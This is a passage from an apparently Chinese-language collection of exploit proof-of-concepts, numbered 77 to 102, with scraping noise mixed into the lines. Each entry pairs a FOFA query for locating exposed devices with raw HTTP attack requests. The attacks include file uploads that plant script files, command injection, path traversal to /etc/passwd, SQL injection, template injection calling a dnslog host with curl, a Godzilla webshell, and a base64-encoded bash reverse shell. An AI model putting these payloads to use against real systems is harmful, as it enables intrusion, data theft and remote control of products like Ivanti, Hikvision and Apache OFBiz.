Host: x.x.x.x

5 r) P! g& q0 R7 v5 o& I8 `
6 b5 q! b) H3 F) e' C
77. F22服装管理软件系统UploadHandler.ashx任意文件上传
FOFA：body="F22WEB登陆"
POST /CuteSoft_Client/UploadHandler.ashx HTTP/1.1
Host: x.x.x.x
2 [/ [8 V; z5 l7 W, }: M9 V1 JUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Connection: close
Content-Length: 433
- c* ~5 M+ O0 |Accept: */*
  {  R: s: Z7 M( ZAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Content-Type: multipart/form-data; boundary=----------398jnjVTTlDVXHlE7yYnfwBoix
; d1 G+ `& w$ R0 O8 J
4 @' r! P- o5 ^8 l0 r1 [( z------------398jnjVTTlDVXHlE7yYnfwBoix
& ]4 o& I4 V' K# G  c/ s' nContent-Disposition: form-data; name="folder"
. l8 X% \3 u; i; X0 v, `, e8 B  }1 C& z
/upload/udplog
& u. M' t' e& @  R/ C" r2 |* r/ R------------398jnjVTTlDVXHlE7yYnfwBoix
+ m% L* }2 r5 }( y4 z9 EContent-Disposition: form-data; name="Filedata"; filename="1.aspx"
Content-Type: application/octet-stream
8 B: \0 b/ x& i0 ~' R
hello1234567
  k# u( A. o* ^! H9 `) f5 V------------398jnjVTTlDVXHlE7yYnfwBoix
Content-Disposition: form-data; name="Upload"

Submit Query
------------398jnjVTTlDVXHlE7yYnfwBoix--
# S+ X8 O& A" k4 y

( B' J$ W) l7 M1 V6 ]) a78. pkpmbs 建设工程质量监督系统 FileUpload.ashx 文件上传
8 J5 y0 d2 v( |. B# Z" O" x" y- tFOFA：icon_hash="2001627082"
( v5 W6 d2 _! ?$ LPOST /Platform/System/FileUpload.ashx HTTP/1.1
: x' [* y1 Y" w" dHost: x.x.x.x
$ q+ _& `+ u* t9 ~* F/ n3 s6 b" {+ eUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
3 S, x. V# O) I; q% m( w. c& oContent-Length: 336
8 S) O/ q  R4 i5 c# J, X6 C' b3 SAccept-Encoding: gzip
Content-Type: multipart/form-data; boundary=----YsOxWxSvj1KyZow1PTsh98fdu6l
! J* N7 @( ~  y
2 ?! L4 r4 X& s3 n$ w6 N------YsOxWxSvj1KyZow1PTsh98fdu6l
Content-Disposition: form-data; name="file"; filename="YsOxWxSvj1KyZow1PTsh98fdu6l.txt"
6 ~! |) |+ w0 w2 F0 b6 f- J+ N( `Content-Type: image/png
3 L7 B" J* d- j! x2 P" a' j+ t& v
YsOxWxSvj1KyZow1PTsh98fdu6l
' S+ y% L2 a, |1 d- [9 x+ v& J. ~( G) E------YsOxWxSvj1KyZow1PTsh98fdu6l
* |! N8 s1 R+ \; P9 SContent-Disposition: form-data; name="target"

3 ?' {7 `  V' C0 ?$ G/Applications/SkillDevelopAndEHS/
/ _; @8 c5 x9 T5 e------YsOxWxSvj1KyZow1PTsh98fdu6l--

9 A' B9 p; \+ j- X2 R; ^
4 n+ p/ W7 _( xGET /Applications/SkillDevelopAndEHS/YsOxWxSvj1KyZow1PTsh98fdu6l.txt HTTP/1.1
5 V/ r) V3 W8 I; CHost: x.x.x.x
! [: x2 Z4 v6 C! a% Y* [' u9 E" e

79. BYTEVALUE 百为流控路由器远程命令执行
7 X8 E- s/ W4 d" [' J, e; aFOFA：BYTEVALUE 智能流控路由器
! H& ?7 A/ s# O; L2 EGET /goform/webRead/open/?path=|id HTTP/1.1
! J3 u, t0 w" T) `' K) NHost:IP
  H: x# C! `7 c, y+ s' ]User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
, y% h# F0 p: n1 D  o9 _Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
; _. R/ ^3 S5 p5 }8 v: _2 \1 qAccept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
) l# ~" J! y9 T8 r! j2 r

80. 速达天耀软件DesignReportSave.jsp接口存在任意文件上传
FOFA：app="速达软件-公司产品"
POST /report/DesignReportSave.jsp?report=../xykqmfxpoas.jsp HTTP/1.1
8 i" ^( B% v; QHost: x.x.x.x
7 L3 P& y' X. Q5 a0 f1 |0 D0 mUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Length: 27
' H$ N3 W! i8 Q& B* D% v+ ~2 ~6 ~Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
" `9 ?0 `4 [' s7 ^3 |3 P" @' MAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
' F- G# m- R, ]Connection: close
Content-Type: application/octet-stream
& O$ v0 C0 M$ ]4 M" h, }- N2 @: pUpgrade-Insecure-Requests: 1

6 `7 f# D2 v* F. P3 Z<% out.print("oessqeonylzaf");%>
* T5 ~! b7 F; u
5 b4 S9 X5 y( c% ?" N
GET /xykqmfxpoas.jsp HTTP/1.1
Host: x.x.x.x
' O; l8 |: W# q% P- _5 S' tUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
4 O* o, J% h. Q; HConnection: close
Accept-Encoding: gzip
5 M# p- y- v" t: g0 F

81. 宇视科技视频监控宇视(Uniview)main-cgi密码泄露
FOFA：app="uniview-视频监控"
/ a( _) c7 a+ t0 h$ z. \GET /cgi-bin/main-cgi?json={"cmd":255,"szUserName":"","u32UserLoginHandle":-1} HTTP/1.1
Host: x.x.x.x
7 K/ x& v* t/ [7 \/ R/ ^. dUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
, [& _0 l1 D* _! MConnection: close
Accept-Encoding: gzip
. T! Y1 Q* P1 S6 X
6 _( A) g4 J; _6 h# g- r
82. 思福迪LOGBASE运维安全管理系统 test_qrcode_b 远程命令执行
) n* Z2 \3 h; [% x$ JFOFA：app="思福迪-LOGBASE"
POST /bhost/test_qrcode_b HTTP/1.1
Host: BaseURL
User-Agent: Go-http-client/1.1
Content-Length: 23
Accept-Encoding: gzip
/ g6 y) {' l3 \- e6 g( gConnection: close
Content-Type: application/x-www-form-urlencoded
Referer: BaseURL
3 k% V8 @0 |+ e' T1 O
z1=1&z2="|id;"&z3=bhost


  {; i/ K& R2 y  I' Q  L0 E/ m83. JeecgBoot testConnection 远程命令执行
FOFA：title=="JeecgBoot 企业级低代码平台"
( j+ O/ X0 i6 D9 ]9 m1 h
5 e2 c" H/ Q, D- E
6 |3 {+ I% \- e: M7 jPOST /jmreport/testConnection HTTP/1.1
Host: x.x.x.x
/ F+ ?+ C$ a% M2 o0 P' \0 vUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
6 R4 I2 B% z+ S4 bConnection: close
$ a5 V; {0 Y& d+ IContent-Length: 8881
, H; H' ^6 F/ t, \2 L+ Y6 b! K) H& yAccept-Encoding: gzip
Cmd: echo "2ZTvHsq4au3uOQ2mK9OuJb86rdO"
& C, J+ b9 p5 O. D$ P1 XContent-Type: application/json

PAYLOAD
. r3 L' g- D$ b/ P! e% u4 T& Y9 j3 t
84. Jeecg-Boot JimuReport queryFieldBySql 模板注入
FOFA：title=="JeecgBoot 企业级低代码平台"
2 |6 E# P- T& w: e4 J


POST /jeecg-boot/jmreport/queryFieldBySql HTTP/1.1
Host: 192.168.40.130:8080
User-Agent: curl/7.88.1
Content-Length: 156
Accept: */*
Connection: close
Content-Type: application/json
Accept-Encoding: gzip
( ?7 I5 L* Y  ?' [3 D
{
3 b" y" j6 l1 K "sql": "<#assign ex=\"freemarker.template.utility.Execute\"?new()>${ex(\"curl http://ip.port.kr9dqoau.dnslog.pw/`whoami\")}",
  "type": "0"
' W8 \, b# L! M0 z7 v}
+ L, F* N" e$ d- ]$ r' W% G

85. SysAid On-premise< 23.3.36远程代码执行
CVE-2023-47246
FOFA：body="sysaid-logo-dark-green.png"
EXP数据包如下，注入哥斯拉马
POST /userentry?accountId=../../../tomcat/webapps&symbolName=LDAP_REFRESH_ HTTP/1.1
- f3 S# b$ z) ?: Q+ AHost: x.x.x.x
9 S! ~$ b' o% |1 zUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Type: application/octet-stream
$ s% d# S! f0 |Accept-Encoding: gzip

PAYLOAD
" \7 \/ K) N9 R- g. K# m
1 r& X. d9 r, V& A; P. C回显URL：http://x.x.x.x/userfiles/index.jsp

86. 日本tosei自助洗衣机RCE
. t$ K% N+ L/ ~7 D% a7 ?" ZFOFA：body="tosei_login_check.php"
POST /cgi-bin/network_test.php HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1866.237 Safari/537.36
2 N+ J  {1 b1 y7 @$ ?+ S  AConnection: close
Content-Length: 44
Accept: */*
: Y. O2 h) u+ i! Z8 KAccept-Encoding: gzip
# [  t5 M' z$ K+ E. [! IAccept-Language: en
Content-Type: application/x-www-form-urlencoded

$ i4 \4 s# K# R9 M' P7 {" uhost=%0acat${IFS}/etc/passwd%0a&command=ping
& ]- L; P7 k8 P: M  M1 t, z; P. W' r
# Q; u/ a! `$ T& @: L, y
  w" ^8 d' S% O  {4 C1 P87. 安恒明御安全网关aaa_local_web_preview文件上传
FOFA：title="明御安全网关"
5 g6 q" ?2 C: g" dPOST /webui/?g=aaa_local_web_preview&name=123&read=0&suffix=/../../../jfhatuwe.php HTTP/1.1
4 f+ w8 B, A3 C. d9 B% WHost: X.X.X.X
  T2 w3 g0 ~8 v0 ~User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
Content-Length: 198
Accept-Encoding: gzip
" u: e  S* H* G9 i$ PContent-Type: multipart/form-data; boundary=qqobiandqgawlxodfiisporjwravxtvd
& @' P& r* D* p) H: K
--qqobiandqgawlxodfiisporjwravxtvd
Content-Disposition: form-data; name="123"; filename="9B9Ccd.php"
  _- `* L+ ^% U* N& ^$ F( c7 XContent-Type: text/plain
2 D/ y  j# ]) }: w2 A) {
1 Z0 W2 L9 }" x# V* f: z2ZqGNnsjzzU2GBBPyd8AIA7QlDq
--qqobiandqgawlxodfiisporjwravxtvd--
# G$ J1 T, |8 I1 K) `$ t! F  P3 F

# x. G2 D" ?7 o( }/jfhatuwe.php
$ \- B% E  d  O, [/ T' ^' v
88. 安恒明御安全网关 aaa_portal_auth_config_reset 远程命令执行
FOFA：title="明御安全网关"
1 B# W2 X% o1 P7 L, UGET /webui/?g=aaa_portal_auth_config_reset&type=%0aecho%20%27%3C%3Fphp%20echo%20%22assdwdmpidmsbzoabahpjhnokiduw%22%3B%20phpinfo%28%29%3B%20%3F%3E%27%20%3E%3E%20%2Fusr%2Flocal%2Fwebui%2Ftxzfsrur.php%0a HTTP/1.1
Host: x.x.x.xx.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
! @) A7 p6 R- v' A9 sAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
4 Z! i" }, i/ r  d( g: RAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close


: f8 \$ B" _8 U2 u/astdfkhl.php

89. 致远互联FE协作办公平台editflow_manager存在sql注入
FOFA：title="FE协作办公平台" || body="li_plugins_download"
POST /sysform/003/editflow_manager.js%70 HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
" E5 d7 l+ f' Q" sConnection: close
- O) m: I4 r8 G" s1 t( w- RContent-Length: 41
Content-Type: application/x-www-form-urlencoded
9 e$ \9 w/ V& a+ H. x  eAccept-Encoding: gzip

$ {4 g* k& M, ]: \9 Coption=2&GUID=-1'+union+select+111*222--+
2 o% @# z1 U; X2 h6 j

90. 海康威视IP网络对讲广播系统3.0.3_20201113_RELEASE远程命令执行
! O2 ?9 w. F5 y$ G$ Q7 j$ k9 ?FOFA：icon_hash="-1830859634"
) ]! q* z% q( i  l' Z( d8 V5 \6 |POST /php/ping.php HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
Content-Length: 51
Accept: application/json, text/javascript, */*; q=0.01
! P1 u8 T0 Q4 _8 O; qAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest

: ~# c; ]: B1 k1 Kjsondata%5Btype%5D=99&jsondata%5Bip%5D=ipconfig


91. 海康威视综合安防管理平台orgManage/v1/orgs/download任意文件读取
! G# k" l$ H% `) q# ?6 N, NFOFA：title="综合安防管理平台"
  e* h. e. r/ ]' k! H4 FGET /center/api/task/..;/orgManage/v1/orgs/download?fileName=../../../../../../../etc/passwd HTTP/1.1
Host: your-ip
+ S: D) \9 b. @2 yUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
4 E" \, l7 V6 ?5 P/ }& [, j1 a6 OAccept-Encoding: gzip, deflate
, {& U5 G0 m! I+ TAccept: */*
% F- z- @8 o1 P( @0 N$ {Connection: keep-alive
4 b3 O( A- d2 U1 n* |( T

3 h9 |1 S' I4 k9 x
& P1 M6 O  ~: y  u5 V92. 海康威视运行管理中心session命令执行
Fastjson命令执行
hunter：web.icon=="e05b47d5ce11d2f4182a964255870b76"
POST /center/api/session HTTP/1.1
Host:
( m+ y' A  T$ g. t3 M, WAccept: application/json, text/plain, */*
8 i8 z. k: s1 H% c& a( ]Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Content-Type: application/json;charset=UTF-8
X-Language-Type: zh_CN
Testcmd: echo test
/ e# o# r. H* JUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X -1_0_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
& Y2 [) [9 T9 J# sAccept-Language: zh-CN,zh;q=0.9
9 G* m6 M- }/ x9 N" {, e: qContent-Length: 5778
9 ]& F0 W% ]  ~4 t8 X
PAYLOAD


8 L5 g" K* r5 X1 l4 W93. 奇安信网神SecGate3600防火墙app_av_import_save任意文件上传
* {7 {! u: x" B+ [8 K& k0 \+ H7 QFOFA：fid="1Lh1LHi6yfkhiO83I59AYg=="
POST /?g=app_av_import_save HTTP/1.1
; v* h( \3 g+ X" S4 w0 oHost: x.x.x.x
- {8 [. h: Y0 D- @+ U/ `) OContent-Type: multipart/form-data; boundary=----WebKitFormBoundarykcbkgdfx
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36

------WebKitFormBoundarykcbkgdfx
Content-Disposition: form-data; name="MAX_FILE_SIZE"

' P$ k% @1 ~9 ]10000000
! a* {6 N8 y1 q, c* r' b------WebKitFormBoundarykcbkgdfx
* R7 G/ n2 ^# A7 x- k6 UContent-Disposition: form-data; name="upfile"; filename="xlskxknxa.txt"
Content-Type: text/plain
% L' S, I' @. M9 x
wagletqrkwrddkthtulxsqrphulnknxa
' V, q% {' r4 E3 b: o0 Q------WebKitFormBoundarykcbkgdfx
Content-Disposition: form-data; name="submit_post"
8 q2 ?8 A- `7 O7 i* }$ L$ N
' c2 u* }  @/ k4 R8 \; @( bobj_app_upfile
------WebKitFormBoundarykcbkgdfx
Content-Disposition: form-data; name="__hash__"
8 Y8 @  V8 T" r/ ~* c$ M' z/ C* I
+ c0 X* R6 Q/ h' h) K0 H0b9d6b1ab7479ab69d9f71b05e0e9445
6 M3 B$ K2 Q& [# i------WebKitFormBoundarykcbkgdfx--


- I7 y7 p. G! t, F5 e( PGET /attachements/xlskxknxa.txt HTTP/1.1
Host: xx.xx.xx.xx
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36

- s) w( J* _& d7 ~5 H. k
6 B0 U/ i6 f: M+ R9 G94. 奇安信网神SecGate3600防火墙obj_area_import_save任意文件上传
FOFA：fid="1Lh1LHi6yfkhiO83I59AYg=="
POST /?g=obj_area_import_save HTTP/1.1
- c2 f) d- A8 l3 D3 P7 J  d8 XHost: x.x.x.x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarybqvzqvmt
- a0 x/ l* B( f! c" r$ f0 }1 s: ~User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36

------WebKitFormBoundarybqvzqvmt
Content-Disposition: form-data; name="MAX_FILE_SIZE"
+ Q& Q& l) Q9 e& X3 A0 I% N
, g2 n6 w2 r  n: S9 x+ Z10000000
3 z% s' e: a& k/ J( g  R------WebKitFormBoundarybqvzqvmt
1 C* A( `* u+ eContent-Disposition: form-data; name="upfile"; filename="cciytdzu.txt"
! o7 j: b) Y( k; d5 m3 pContent-Type: text/plain
4 N9 G# D. D2 ?; t; V2 E9 A% O4 Z
pxplitttsrjnyoafavcajwkvhxindhmu
; R4 d. j$ B4 W8 Y! F------WebKitFormBoundarybqvzqvmt
Content-Disposition: form-data; name="submit_post"

! Y) v, Y2 n' e' M5 r( m! Uobj_app_upfile
0 k# ]) X; }6 a5 ?, D# `! R------WebKitFormBoundarybqvzqvmt
Content-Disposition: form-data; name="__hash__"
* Q2 ?) ]+ M) \- s! B
% x7 F9 T7 s0 R# r0 Q0b9d6b1ab7479ab69d9f71b05e0e9445
# J  F" @7 v- F2 ~& N2 a/ g------WebKitFormBoundarybqvzqvmt--

( Z4 {8 h1 D9 e# \' h  g

GET /attachements/xlskxknxa.txt HTTP/1.1
Host: xx.xx.xx.xx
+ Y6 t2 U1 P1 u9 B6 p9 N1 JUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36



95. Apache-OFBiz < 18.12.10 xmlrpc远程代码执行
CVE-2023-49070
FOFA：app="Apache_OFBiz"
5 b9 v2 b8 ~" a- J( i. u5 |3 H) _1 U. aPOST /webtools/control/xmlrpc;/?USERNAME&PASSWORD=s&requirePasswordChange=Y HTTP/1.1
" u9 M; I# `" ZHost: x.x.x.x
6 F+ ^. i, u9 b; [$ x  OUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
& l4 P2 j: w5 S  q$ `( _Connection: close
Content-Length: 889
: _. c% C" c$ D2 d- i! @; u, XContent-Type: application/xml
+ B% `$ h8 w4 i. J0 @Accept-Encoding: gzip
+ z; B8 I& q/ J8 v7 _9 y( `
<?xml version="1.0"?>
<methodCall>
   <methodName>2a4UTp2XBzXgziEO3BIFOCbJiI3</methodName>
    <params>
! g# q! J7 n* p3 p* y      <param>
4 ~% q  t. n- A! W8 t  a      <value>
) H0 E5 S" D: w  q6 }        <struct>
8 V. k% R% O4 {) p5 Z       <member>
          <name>test</name>
          <value>
: g3 ^3 b# S8 t8 g, N8 _  e      <serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions">[payload的base64值]</serializable>
          </value>
4 B- u/ ]2 V. T. L  g# K        </member>
' {' D; C0 M3 J+ j1 `0 P2 f5 Y      </struct>
      </value>
* a& E* y: k% G) l/ ]0 u    </param>
; n7 x7 I9 }7 z" m- V+ }5 N    </params>
7 w5 f5 W$ x; b2 B; K9 c0 r- G</methodCall>
4 c- H9 b2 T. B+ y( C! V7 X% s
/ {+ b1 B' C+ {2 i7 J3 V; s  P
用ysoserial生成payload
java -jar ysoserial-all.jar CommonsBeanutils1 "ping 41e87zy3.dnslog.pw" | base64 | tr -d "\n"
/ m! y$ F( s  ~7 x
2 ]2 M  X% E4 |7 i- B  V' L
将生成的payload替换到上面的POC
POST /webtools/control/xmlrpc;/?USERNAME&PASSWORD=s&requirePasswordChange=Y HTTP/1.1
, P5 r9 q9 Q" X8 X3 x, d/ G% k: PHost: 192.168.40.130:8443
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
9 d# T  F8 Y6 p0 B7 C: |3 C$ CConnection: close
8 ]% X' h" k% Q6 ^, GContent-Length: 889
Content-Type: application/xml
% h2 _. I( G5 D& i& hAccept-Encoding: gzip
" y* y! W+ x9 S& u# W
PAYLOAD
* Q% M# D& p% y3 r* \
96. Apache OFBiz  18.12.11 groovy 远程代码执行
' |# C9 g5 l0 }; C& d# f7 a5 M5 r3 ?FOFA：app="Apache_OFBiz"
POST /webtools/control/ProgramExport/?USERNAME=&PASSWORD=&requirePasswordChange=Y HTTP/1.1
1 C6 v6 @$ ?/ z' T( T$ o/ `Host: localhost:8443
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
) h+ Z2 e* n0 h/ F7 ~4 DAccept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
7 d/ u, t2 H) C1 |& mContent-Type: application/x-www-form-urlencoded
Content-Length: 55
7 M3 ]. _  i, U/ n% I
9 ~+ g* Q7 Q4 P, ggroovyProgram=throw+new+Exception('id'.execute().text);

: u) o3 M) C+ `) i5 T6 p9 o
反弹shell
5 H# \# e0 a4 l% }在kali上启动一个监听
nc -lvp 7777
9 D6 W5 r1 \) N: t  k, {
4 I/ X, l: K2 |POST /webtools/control/ProgramExport/?USERNAME=&PASSWORD=&requirePasswordChange=Y HTTP/1.1
Host: 192.168.40.130:8443
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Accept: */*
8 R& C4 d; V1 b  ]5 j$ HAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded
5 I* ~9 m4 e- P+ Z# j  Q  G* }5 fContent-Length: 71
6 D8 ~5 u: t& ?9 i  g0 s! F
groovyProgram='bash+-c+{echo,YmFzaCUyMC1pJTIwPiYlMjAvZGV2L3RjcC8xOTIuMTY4LjQwLjEyOC83Nzc3JTIwMD4mMQ==}|{base64,-d}|{bash,-i}'.execute();
; m) v* X1 U8 I* H" Q6 ]5 h
97. OneBlog v2.2.2 博客Shiro反序列化远程命令执行
- }0 o) ]6 y$ Z7 x, v0 MFOFA：body="/assets/js/zhyd.tool.js" || body="OneBlog,开源博客"
4 l) W& Y% n3 F4 k6 L  U2 K- s4 RGET /passport/login/ HTTP/1.1
Host: 192.168.40.130:8085
" }* g9 y. T6 C8 T$ [# l, yUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Accept-Encoding: gzip
Connection: close
' N. F, l- `8 f) sCookie: rememberMe=PAYLOAD
X-Token-Data: echo "2a4MU6FVYI3qR4AWxn1Bdfh6Ttk"
' [: B- P; ~6 I$ W! f3 o
6 v* `* L+ E+ n7 `. C
7 E+ B: h$ u3 o* x' y- k98. SpiderFlow爬虫平台远程命令执行
CVE-2024-0195
FOFA：app="SpiderFlow"
- ?! Q4 |# J0 HPOST /function/save HTTP/1.1
4 Q! w5 v+ D8 I7 Y7 lHost: 192.168.40.130:8088
  N/ ^# Y6 A+ P/ x7 QUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Connection: close
Content-Length: 121
  a: W. i1 p3 D- G1 [Accept: */*
Accept-Encoding: gzip, deflate
( ]" W" E5 r; f' M" R" oAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest

# x3 d3 K% U8 g+ V& v, y$ Mid=1&name=cmd&parameter=rce&script=%7DJava.type('java.lang.Runtime').getRuntime().exec('ping+a4xs0nop.dnslog.pw')%3B%7B
" O1 d! A1 M/ t) l8 R, q4 I$ r$ r+ O
  c4 Y% E4 z( d1 D# P( _
/ K) w! H+ N/ r8 d2 H/ _99. Ncast盈可视高清智能录播系统busiFacade RCE
CVE-2024-0305
. ]+ F9 ?  \% X; d% z8 dFOFA：app="Ncast-产品" && title=="高清智能录播系统"
3 w! Z2 t* s- h. [POST /classes/common/busiFacade.php HTTP/1.1
Host: 192.168.40.130:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Connection: close
Content-Length: 154
1 n! r  d3 B) P1 m; _# tAccept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
' u' w' w+ ^5 X- \X-Requested-With: XMLHttpRequest

%7B%22name%22:%22ping%22,%22serviceName%22:%22SysManager%22,%22userTransaction%22:false,%22param%22:%5B%22ping%20127.0.0.1%20%7C%20echo%20hello%22%5D%7D
' M+ B& _4 z' ^+ Z6 ]* Z  |7 T
8 s# {7 O; o; @, x% d
2 B. r% \( p: }7 ]0 I100. Likeshop 2.5.7.20210311 File.php userFormImage 文件上传
8 s1 S  |1 w. D# ^  W* tCVE-2024-0352
1 h3 _% c4 a2 J. [% aFOFA：icon_hash="874152924"
POST /api/file/formimage HTTP/1.1
. w2 ^2 F% V- E. |Host: 192.168.40.130
" Q) J% ~3 C- a2 t# Z: |User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2226.0 Safari/537.36
Connection: close
Content-Length: 201
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarygcflwtei
1 v. ~6 L0 `  W- eAccept-Encoding: gzip
; n2 L4 R' r; A' t
------WebKitFormBoundarygcflwtei
Content-Disposition: form-data; name="file";filename="IE4MGP.php"
Content-Type: application/x-php

7 N5 W9 }1 g. m5 L7 L6 e3 D8 C2ayyhRXiAsKXL8olvF5s4qqyI2O
------WebKitFormBoundarygcflwtei--
6 r% C. Y" H" a: A5 V: A' ~; C
5 D" ~( }6 k$ g3 W, R
101. ivanti policy secure-22.6命令注入
CVE-2024-21887
FOFA：body="welcome.cgi?p=logo"
GET /api/v1/totp/user-backup-code/../../license/keys-status/%3bcurl%20a4xs0nop.dnslog.pw HTTP/1.1
# L0 ^# A# g! |Host: x.x.x.xx.x.x.x
3 S8 ]9 d0 m/ L( r$ iUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
) s1 R2 q; ]7 U; `. t) YConnection: close
" J: z0 X3 ]+ j( qAccept-Encoding: gzip

$ F- ]( @4 k4 R* J
102. Ivanti Pulse Connect Secure VPN SSRF致远程代码执行
; B! u2 I+ L, H6 b$ @1 m7 A+ DCVE-2024-21893
FOFA：body="welcome.cgi?p=logo"
POST /dana-ws/saml20.ws HTTP/1.1
Host: x.x.x.x
$ a: p" D3 n! x+ H! h, QUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Connection: close
Content-Length: 792
0 p& `6 V. M1 w) L& r1 b0 l. J! dAccept-Encoding: gzip
7 S( k, m, D" B' v3 E0 I3 ?
